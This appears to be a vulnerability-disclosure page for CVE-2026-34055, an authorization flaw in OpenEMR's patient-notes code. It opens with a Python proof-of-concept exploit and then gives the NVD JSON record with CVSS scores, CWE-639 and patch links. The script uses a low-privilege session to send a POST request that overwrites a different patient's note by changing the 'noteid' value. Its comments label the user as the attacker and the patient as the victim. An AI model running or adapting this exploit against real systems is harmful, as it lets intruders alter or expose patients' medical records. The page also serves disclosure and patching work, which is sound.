CVE-2026-34055

import requests # Target URL example for updating a note # The actual endpoint may vary based on OpenEMR configuration target_url = "http://target-openemr/interface/pnotes_add.php" # Attacker's session cookie (obtained after low-privilege login) attacker_cookies = { "OpenEMR": "valid_low_privilege_session_cookie_here" } # The vulnerable parameter is 'noteid'. # An attacker can change this ID to access other patients' notes. payload_data = { "noteid": "456", # ID belonging to a different patient (Victim) "form_note": "This note has been modified by an attacker via IDOR vulnerability.", "form_save": "Save Note", "task": "save" } try: response = requests.post(target_url, data=payload_data, cookies=attacker_cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if the note was updated.") print("[+] Response snippet:", response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34055", "sourceIdentifier": "[email protected]", "published": "2026-03-26T00:16:41.227", "lastModified": "2026-03-26T16:16:58.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0.3, the legacy patient notes functions in `library/pnotes.inc.php` perform updates and deletes using `WHERE id = ?` without verifying that the note belongs to a patient the user is authorized to access. Multiple web UI callers pass user-controlled note IDs directly to these functions. This is the same class of vulnerability as CVE-2026-25745 (REST API IDOR), but affects the web UI code paths. Version 8.0.0.3 patches the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto de registros de salud electrónicos y gestión de consultorios médicos. Antes de la versión 8.0.0.3, las funciones heredadas de notas de paciente en 'biblioteca/pnotes.inc.php' realizan actualizaciones y eliminaciones usando 'WHERE id = ?' sin verificar que la nota pertenece a un paciente al que el usuario está autorizado a acceder. Múltiples llamadores de la interfaz de usuario web pasan IDs de notas controlados por el usuario directamente a estas funciones. Esta es la misma clase de vulnerabilidad que CVE-2026-25745 (IDOR de la API REST), pero afecta las rutas de código de la interfaz de usuario web. La versión 8.0.0.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.3", "matchCriteriaId": "E3E098AF-42A1-4798-85A7-80052F19F809"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/214c9b4585a6f1c8c22750172d47f0e258fec0bf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/releases/tag/v8_0_0_3", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-8gj5-r8vm-mghq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}